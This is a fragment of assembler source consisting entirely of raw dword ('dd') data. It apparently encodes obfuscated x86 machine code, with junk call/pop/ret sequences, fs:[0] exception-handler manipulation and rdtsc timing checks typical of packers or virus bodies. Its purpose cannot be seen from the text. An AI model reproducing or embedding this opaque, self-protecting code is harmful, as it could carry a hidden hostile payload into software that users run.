		dd 18E0F1Bh, 0FC000000h, 1D3DBD83h, 0F010606h, 9485h, 0AE900h
		dd 0D910000h, 200000Eh,	0F4C5F662h, 6A026AF9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0CACFC351h, 0FCB20379h, 8A0F6090h, 0
		dd 5E957h, 0BD6C0000h, 5F045A9Fh, 0BF665061h, 6090A581h
		dd 13319D31h, 66600606h, 100FEB81h, 15399D09h, 61610606h
		dd 2C1D95FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 600B5EC3h, 2521B589h, 9D090606h
		dd 6062AB1h, 0DC0E961h,	0E80000h, 5D000000h, 1676ED81h
		dd 0B529060Bh, 6061755h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 90C35646h, 0D9A02F70h, 729AFDC6h, 0E5858D58h
		dd 6A06098Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 4A37C353h, 0B50B60FCh,	606027Dh
		dd 141DB589h, 90610606h, 86C7F5BFh, 0B960506Bh,	14BEEAEDh
		dd 11E856h, 57410000h, 0A36491CAh, 0B8AE2369h, 114CE839h
		dd 5A0A1F44h, 0F90615Ah, 685h, 799D8B00h, 64060601h, 35FFh
		dd 64FC0000h, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 21BCB5C3h, 7B5528D2h
		dd 85FFAEE8h, 6060F5Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 23C35040h, 9BD3328h, 6A06061Fh, 0FF9BB3FFh
		dd 6201DB5h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 68B15A5Ah, 359D8960h, 0F060621h
		dd 188Ah, 13E900h, 1D320000h, 13B8B8F7h, 0CFBE6685h, 66B8B5C0h
		dd 0AF83E58Bh, 0DE8616Ah, 3A000000h, 85748CE4h,	0E867031h
		dd 0B6CB2ACBh, 5BD8B70Fh, 12FD95FFh, 20E90606h,	0F000001h
		dd 685h, 8D8D0100h, 0B0060620h,	68C0F00h, 29000000h, 633F9B5h
		dd 0F70E606h, 386h, 0DA8B6600h,	816671E4h, 3C8E43DBh, 0EC830F61h
		dd 89000000h, 600B9BDh,	0E59D8B06h, 0F06062Bh, 6BAC8B6h
		dd 3000000h, 61669BDh, 8BC18B06h, 60DF1BDh, 4E8C106h, 8E8h
		dd 53730B00h, 0C9050FCFh, 0DE8B5F4Ah, 2BE2F766h, 89D18BC8h
		dd 62AFDBDh, 759D8B06h,	0E906062Eh, 9Fh, 4D9D2960h, 89060629h
		dd 6168985h, 858B6106h,	505F4C4Ch, 0ED78166h, 7C08332h
		dd 0A19D89h, 0C0830606h, 0DF8B6600h, 1CB19589h,	0D03B0606h
		dd 31830Fh, 0DE80000h, 2B000000h, 8C52AB02h, 0DD17F20Ah
		dd 0C866A7F4h, 30059589h, 0E95B0606h, 8, 0F2B9D33Eh, 5272C4E4h
		dd 3EE9h, 9D9D8900h, 8B06060Fh,	0FFFFFF8Dh, 758D29FFh
		dd 83060622h, 840F01E1h, 23h, 8EEB8166h, 0FFA58384h, 0FEFFFFFFh
		dd 2301BD8Bh, 95890606h, 505F4C4Ch, 23DD9D8Bh, 0E90606h
		dd 8D000000h, 0A9175B5h, 0B5BD8B06h, 6A060601h,	0C7816600h
		dd 95FFA0F9h, 6061AC9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0FDC35141h, 28A0F4Eh,	0C1B99794h, 6A00000Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0B7DBC352h, 0BD8950D1h, 6062521h,	0FFCE183h
		dd 87h,	0FEB70F00h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0DE8B9F4Dh, 11F19D8Bh
		dd 0C02B0606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0C3C35747h, 0BA3493h, 89000000h, 6271DBDh, 85F38006h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6880Fh, 85890000h
		dd 6061071h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	1BC35242h, 8F8FC2C8h, 880Dh, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0B09F331Eh
		dd 1BE602Fh, 0DD958BC8h, 6A060628h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 2AE9C352h
		dd 0F3F58B1h, 8D8BD9BFh, 6061111h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 3CC35242h, 50D6B180h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 471F7761h
		dd 0E8C0FA0Eh, 14h, 7BF30539h, 0CFDEF5DEh, 7ACE21E0h, 9DA59DD1h
		dd 0CE3BAB11h, 0EFF78166h, 9D895BCCh, 6061A05h,	1AF5BD83h
		dd 0F000606h, 5884h, 12E95300h,	43000000h, 4EB6D26Fh, 99884912h
		dd 55C34485h, 0B07DBEA4h, 0B85F3Dh, 81000000h, 7D5503F7h
		dd 0D28D8D65h, 3106064Eh, 616519Dh, 0FFD98A06h,	51006AE1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0A059C4A1h, 0B3ED45A3h, 49BD83CFh, 6062Eh, 467840Fh
		dd 0BD830000h, 6062E49h, 75840F01h, 8B000004h, 49BD83DAh
		dd 306062Eh, 430860Fh, 60F80000h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 8FC35343h, 0E1502E38h, 0AABCA851h
		dd 75BD8945h, 66060617h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 3211B2C3h, 0A1645F36h
		dd 1D95BD09h, 0E1800606h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0C90A2B40h
		dd 117840Fh, 0FE8B0000h, 2589858Bh, 9D8B0606h, 6062C99h
		dd 34258533h, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 80D749C3h, 505066F7h, 52506052h
		dd 585A310Fh, 0F616160h, 0AE831h, 0B2890000h, 0A72CEA8Ch
		dd 4588E52Eh, 8C0Fh, 5A5F0000h,	24048958h, 0BE8h, 231D4600h
		dd 2737A8C2h, 0A7A984C2h, 0E259D8Bh, 6A5B0606h,	91B50100h
		dd 68060629h, 8275C617h, 0DB47BF66h, 0E8240481h, 6A7DA93Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0FCB1C356h, 7D5A5EE4h, 0FC3DD34h,	95FFFFBFh
		dd 6062221h, 3105BD8Bh,	85890606h, 609A4A4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F1C35242h, 0B8E78126h
		dd 0E9757CDDh, 247h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 4BC35141h, 3DB36E85h,	6F605BAh, 42CB8166h
		dd 9C858B4Bh, 6A0609A4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0CFCAC350h,	0C3CF8166h
		dd 859D8B71h, 0C7060607h, 1800h, 0D858900h, 8B060621h
		dd 62261BDh, 0A0B58B06h, 6A0609A4h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C6B5C357h
		dd 8189FAC1h, 0DD152AC7h, 0A9858B1Eh, 6A06062Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 6ACDC356h, 0E3DF2D14h, 0BF0F0689h, 89858BD8h, 6A060625h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 70F0C350h, 9550E2CFh, 0E8A2DC5Bh,	2A8D9D09h
		dd 0B5890606h, 6063381h, 6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 46D6C355h
		dd 0DE8FDh, 8CD40000h, 77B5AC4h, 7B378C75h, 9C0DB02h, 62D9D85h
		dd 0BB505F06h, 4061A294h, 6A243489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A8AC356h, 0BF6692E0h, 0B5FF7F5Bh, 609A49Ch
		dd 4E8FD8Ah, 0FF000000h, 0E9001F03h, 0Dh, 2F9C2F5Ch, 3DE1045Ch
		dd 6C86EE90h, 6ABF50EBh, 8B701FD6h, 0E8042444h,	0Eh, 63E001A6h
		dd 448180ECh, 1EAE518Fh, 0B7526CC5h, 8B5F5B3Ah,	0CE800h
		dd 7BDA0000h, 766C2387h, 192B45C9h, 0E1B782A4h,	2444895Bh
		dd 58DE8B04h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	6DC35040h, 63B9C29Ah, 0BF661597h, 858D9505h, 609A4A4h
		dd 6820Fh, 9D8B0000h, 6060231h,	24048950h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0B7C35040h, 4DB230CEh
		dd 222195FFh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0C0AC3CC3h, 0D19D8928h, 61060603h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 30C35141h
		dd 0D2E69355h, 28B0FA7h, 53000000h, 4985C75Bh, 306062Eh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 844EC355h, 0BF1954B5h,	316875CBh
		dd 6087DB5h, 0A4BD8306h, 609A4h, 10840Fh, 5E90000h, 0D9000000h
		dd 9AA8CF96h, 1CE9h, 3050FC00h,	4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 6F641D21h
		dd 1B7D9D8Bh, 64BB0606h, 8329E308h, 62E49BDh, 850F0306h
		dd 3E9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	7EC35545h, 3135AD70h, 27070D00h, 12A98D29h, 0BD830606h
		dd 609A4A4h, 0B2840F00h, 8B000003h, 0E58529FEh,	0FF060613h
		dd 9A4A4B5h, 6840F06h, 8B000000h, 61EE5BDh, 7195FF06h
		dd 8B06060Dh, 9A498B5h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 8F3F1BDDh, 9D895722h
		dd 606292Dh, 106C75Bh, 6A000100h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 69B4C352h
		dd 1D261BDEh, 0E9414F43h, 10h, 745EF6EDh, 236FBA1Fh, 7F6E414h
		dd 4A5C3506h, 0C977BB66h, 50D88B96h, 2800Fh, 0FB8B0000h
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 9BB1FFF7h, 66F7F5C1h, 0FF66AABBh, 9A4A4B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 2161626Fh, 9B1F1BFDh, 1E4995FFh,	9D230606h
		dd 6062E15h, 20898D89h,	0B58B0606h, 609A498h, 779BD8Bh
		dd 858B0606h, 6062FC5h,	1E619D29h, 86890606h, 0C4h, 1DF5BD8Bh
		dd 958B0606h, 60628DDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 4C35747h, 0B04A194h, 62E3D9Dh, 4C28306h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 81C35242h
		dd 5089CD86h, 13E820h, 8D700000h, 0D089628h, 3F2AF7FFh
		dd 0F87AEFC4h, 109B9ABCh, 8AC381EDh, 5B770AC9h,	0B775858Dh
		dd 0D7810609h, 22D5074Ah, 0B88689h, 81660000h, 6A93B2DFh
		dd 850F00h, 0FF000000h,	9A4A4B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0DF42C614h
		dd 0F6049BEEh, 2C1D95FFh, 0CE90606h, 23000000h,	0D87CFEFCh
		dd 3E3613D3h, 9699DC48h, 9650F98Ah, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0FEC35747h,	0AF7E5FF0h, 881D9DBFh
		dd 58B2BF08h, 0B5FF761Fh, 609A4A4h, 7E9h, 74BA8200h, 2F7B02DBh
		dd 1CA595FFh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8166A7C3h, 83F548C7h, 61C99BDh
		dd 840F0006h, 46h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 26C35343h, 28F1F6Fh, 66C8E727h, 5D64E381h
		dd 9E85750h, 69000000h,	4CA3993Eh, 0CAC71D42h, 8E0Fh, 5B5F0000h
		dd 0F243489h, 0B5FFDEBFh, 609A4A4h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 5BC35242h, 0DF58D10Fh, 95FFDE8Bh
		dd 6061FFDh, 0FFF9B70Fh, 9A4A4B5h, 0F410BB06h, 95FF3709h
		dd 6062B19h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	3C35141h, 8BED2D62h, 62BD19Dh, 9D9D8B06h, 8306060Eh
		dd 62F65BDh, 840F0206h,	59h, 1D498D89h,	858B0606h, 60615F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 4EC35646h
		dd 291609D3h, 0C620h, 0E855006Ah, 3, 5DC35D20h,	4246C89h
		dd 4244481h, 1Bh, 9FC35545h, 0B2A57066h, 0F632D90h, 0BF0FFBBFh
		dd 4D85C7DEh, 60603h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 7AC5C355h, 5256ABE6h
		dd 8B5499C9h, 604A9BDh,	0F36DE906h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 4EA00EC3h
		dd 8BA4EAD4h, 62BA99Dh,	0F77DBF06h, 0C18B426Bh,	0F358D29h
		dd 858D0606h, 6062369h,	50FBB70Fh, 489F88Bh, 6AD88B24h
		dd 0F98B5200h, 6A006A5Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0A97BC357h,	958951ACh
		dd 6060B71h, 0C0C3815Fh, 8D31D64Bh, 0B259885h, 0DEB70F06h
		dd 6A05C083h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8966C356h, 6049585h, 52509006h
		dd 310FDE8Bh, 7E9h, 0DB277600h,	9BD30037h, 9050585Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 47C35646h, 12E952h
		dd 6CB40000h, 81873931h, 92A92901h, 645C8F99h, 90939FCCh
		dd 1C398589h, 6A0606h, 9E9h, 12BE5300h,	0A74BE0D9h, 6AB4C7h
		dd 11CD9D8Bh, 95FF0606h, 6062F9Dh, 25619D8Bh, 8D8D0606h
		dd 6099515h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0EEC35646h, 0CA2FBADFh,	80F4A8D9h, 0F7F38039h
		dd 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 79E077C3h, 2FF7EA19h, 5FFA8A57h, 1D3DBD83h
		dd 0F010606h, 1C85h, 6ADE8B00h,	50FB8B02h, 0D72FBF66h
		dd 89240489h, 6049585h,	1D95FF06h, 8B06062Ch, 0E28E9FAh
		dd 0E80000h, 5D000000h,	25A2ED81h, 6A060Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0F553F8C3h
		dd 14810F5Bh, 0E9000000h, 0Fh, 5297EA39h, 0CB9E5EC0h, 8FC9709Ah
		dd 8DD7E70Ch, 98EE585h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 48B0FA5h, 66000000h, 902D8BBFh
		dd 5FD98A50h
		dd 90D98B50h, 35FF64F5h, 0
		dd 5E9h, 0EAD44E00h, 896465A4h,	25h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0A4C3C54Fh
		dd 9EFC431Ch, 2B119D8Bh, 0BF660606h, 85FF2F67h,	6060F5Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 34C35646h
		dd 58671E40h, 0FF6ADF8Bh, 0BADF9DBFh, 45B5FF1Fh, 6A060601h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0C511C352h, 0F2057E95h, 12FD95FFh, 0F5E90606h
		dd 29000000h, 600158Dh,	8B00B006h, 60E49BDh, 8970E606h
		dd 62639BDh, 6671E406h,	16CFC381h, 3CF9B70Fh, 0CD830F61h
		dd 8B000000h, 62519BDh,	95BD8906h, 0F06060Bh, 0BE9C8B6h
		dd 0FF000000h, 0D31B8F6h, 755002AEh, 6BA65EFh, 9000000h
		dd 62F5D8Dh, 3C18B06h, 61BC19Dh, 4E8C106h, 72F2D781h, 0F7663D9Fh
		dd 38E0FE2h, 0F000000h,	0C82BDEBFh, 6246DF81h, 0D18B2355h
		dd 0E95BFC50h, 74h, 1499589h, 858B0606h, 4947554Ch, 3D59D8Bh
		dd 0C0830606h, 6F37BF07h, 0C0836623h, 0D59D8900h, 3B06062Bh
		dd 13830FD0h, 8B000000h, 42E9FAh, 9D8B0000h, 6062551h
		dd 0F25BD8Bh, 8D8B0606h, 0FFFFFFFFh, 4373BF66h,	311AD381h
		dd 0E1837144h, 1D840F01h, 66000000h, 368DB81h, 0FFFFA583h
		dd 89FEFFFFh, 47554C95h, 299D3149h, 0E906061Ch,	0
		dd 0A036B58Dh, 6A060Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0E3F77EC3h, 9D34BDABh, 6AE7046Ah
		dd 0DE900h, 0F9D20000h,	22B9A3F4h, 0DE82EED4h, 0FFEB187Eh
		dd 61AC995h, 5D9D3306h,	0B906060Bh, 0FF4h, 0CF816652h
		dd 835F2550h, 0BF66FCE1h, 6AFCAF0Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89D2C352h
		dd 62DD1B5h, 0B806h, 840F0000h,	3, 0BAFEBF0Fh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0EFC35242h
		dd 23F9BD01h, 33AD0606h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 7D5A5EC3h, 6FBFDD34h, 0E9212B5Fh, 0Eh, 6D9AC61Ch, 0E04732Eh
		dd 0E799BA59h, 830F251Ah, 2, 880DFA8Bh,	6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0E855C351h, 1132BAF8h, 0FA8B64B2h, 958BD88Bh, 60628DDh
		dd 8B61F960h, 611118Dh,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0A45910E7h, 0BD8B53C2h
		dd 6060F99h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 25B75818h, 0E9FBB70Fh, 10h, 0A6730C9h, 5A02C8DBh, 0D9EF3989h
		dd 790CA99Bh, 1AF5BD83h, 0F000606h, 0C984h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0BF94AA25h, 759D8BDCh, 29060603h, 623A595h, 0B806h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 79589BC3h, 0C2698E1h, 81DF8B66h, 0F76506EBh
		dd 0C3816675h, 8D8D817Bh, 6064ED2h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 94C35545h, 0E9E46398h, 14h
		dd 0FBF67041h, 62BD21A1h, 0DA249A97h, 0AA7CD00Ah, 44AE5785h
		dd 11E9h, 6CC18000h, 994790ACh,	9A5412Ah, 81069BE0h, 0E1FF6192h
		dd 1AD59529h, 880F0606h, 6, 2D258D89h, 0BD830606h, 6062E49h
		dd 93840F00h, 66000004h, 0BD83DE8Bh, 6062E49h, 9E840F01h
		dd 52000004h, 2BDDBD8Bh, 835B0606h, 62E49BDh, 860F0306h
		dd 453h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	94C35040h, 1E7D94A0h, 8BB5559Ah, 613499Dh, 91BD8B06h
		dd 6006062Dh, 10D9589h,	8C660606h, 55006AD9h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 4299AF88h
		dd 51F4B7A8h, 6890Fh, 0BD0B0000h, 6061ADDh, 6A04E180h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0DBC7C353h, 0F80F0C17h, 0A456D7Bh, 71840FC9h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 3FBAC357h, 1A7DBD01h, 81660606h
		dd 8B97C3C7h, 6258985h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 8C8310Dh, 2585339Fh, 6A060634h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8B81C355h, 62779BDh, 7E95006h, 57000000h
		dd 32B72665h, 489C1ECh,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 1AFD46D6h, 6AED6243h
		dd 5E800h, 41BE0000h, 89328EF1h, 611DD8Dh, 24685B06h, 0E934E10Dh
		dd 8, 0C2DF4618h, 0ECCA480Ch, 0DB243481h, 6A34FE0Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 9B4FC351h, 9D2B11B7h, 6063001h, 48E0Fh, 0BF660000h
		dd 0E381A026h, 7D6608FFh, 222195FFh, 6A0606h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0D98B9DC3h
		dd 0A4A48589h, 50600609h, 0EE9h, 8A7D6800h, 0FC5AA7E8h
		dd 54F633C7h, 5EA21600h, 4819D29h, 0E9610606h, 209h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A3C35545h, 0A49C858Bh
		dd 0C70609h, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	89C35747h, 0CB262148h, 0F1BD3302h, 8B060612h, 626E99Dh
		dd 0A0B58B06h, 6A0609A4h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0AA4FC356h,	0EC51BDF6h
		dd 60AFAAEEh, 0CCFCBA66h, 1509B531h, 8B610606h,	62DA985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0CA1E6D4Ah, 336541BBh, 6A068929h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 498CC357h, 2589858Bh, 81660606h, 89212FC7h, 6A0446h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0CE145DC3h, 0EBA633F7h, 66506DBFh, 3489DA8Bh, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 9CB5FF28h, 6A0609A4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 22F6C350h, 341CE73Bh
		dd 68866272h, 0DEEB8166h, 0BA606029h, 236949EBh, 0D8DE8166h
		dd 68616145h, 0C12792Bh, 840F5250h, 6, 310F5250h, 310F585Ah
		dd 0DC3EBB60h, 0BB667142h, 5A61E846h, 24348158h, 0C0D7AD4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 19C35747h
		dd 0A4E3E228h, 2ADD73Ch, 0E900B70Dh, 0Ch, 0C3D20A6Ch, 0C4F749CBh
		dd 8AD4AE67h, 0A4A4858Dh, 95890609h, 6061B0Dh, 24048950h
		dd 95FFF98Bh, 6062221h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0D8C35242h, 0A5CF816Ah, 8B0F594Fh, 62C61BDh
		dd 0BD016106h, 6061C45h, 2E4985C7h, 30606h, 0BD8B0000h
		dd 6061239h, 0A4A4BD83h, 0F000609h, 3A84h, 0FE900h, 13AA0000h
		dd 733905BFh, 4EA61C19h, 8DE8B002h, 3CE990h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 482383C3h, 5001B78Bh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 9D8BC08Bh, 6060085h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 4AC35141h, 83499BB9h
		dd 62E49BDh, 850F0306h,	43Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0E7C35545h,	835BE66Ah, 9A4A4BDh
		dd 840F0006h, 410h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 9C35343h, 0E49E6129h,	0B5FF44A0h, 609A4A4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2AC35646h
		dd 1A1012BFh, 7195FFD8h, 6006060Dh, 0D6D8589h, 0B5890606h
		dd 6063039h, 98B58B61h,	6A0609A4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F54FC356h
		dd 89F91D15h, 601BD85h,	106C706h, 66000100h, 6808E381h
		dd 505B5196h, 0CE9h, 1ABB6800h,	0B0A21491h, 7C0B8E48h
		dd 81669657h, 0FFE7CEDBh, 9A4A4B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 83BDDDCh, 66F81138h
		dd 50CD781h, 4995FFF8h,	6A06061Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 84ACC355h, 81E2E6E3h, 8BEA5856h, 9A498B5h
		dd 0B19D0306h, 8B060600h, 62FC585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 2870FDCh, 8B000000h
		dd 0C48689F8h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 57F8C352h, 28DD958Bh
		dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0F77CABC3h, 0AE9h, 0BF08E800h, 0AE789A0h
		dd 0B8D1B5Bh, 62E19BDh,	4C28306h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0F3C35242h,	15DA7B1h, 622398Dh
		dd 5BF6606h, 20508993h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 7FC35646h, 0F915C926h, 84DC6535h, 13E913h
		dd 52D50000h, 9B2DD886h, 0B13A9F5Dh, 0E4717948h, 87C32E7Dh
		dd 75858DBBh, 8B0609B7h, 61FF99Dh, 0B8868906h, 66000000h
		dd 6AF88Bh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	52C35646h, 1798A89Dh, 0C3BB72A3h, 0FF569DDFh, 9A4A4B5h
		dd 47A5BB06h, 95FF2235h, 6062C1Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0EAC35242h,	0C4EA742Bh, 82A9B9A8h
		dd 7D9D8BFFh, 9606062Ah, 7A94BF66h, 8B666050h, 61C88BFEh
		dd 0B5FFF596h, 609A4A4h, 9E9h, 713E9100h, 0F757E4A3h, 95FF1812h
		dd 6061CA5h, 835EC380h,	61C99BDh, 840F0006h, 6Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 62C35646h, 8BF89873h
		dd 60E95BDh, 0D9D8B06h,	9606062Eh, 0F50D98Bh, 0D89h, 14BB6000h
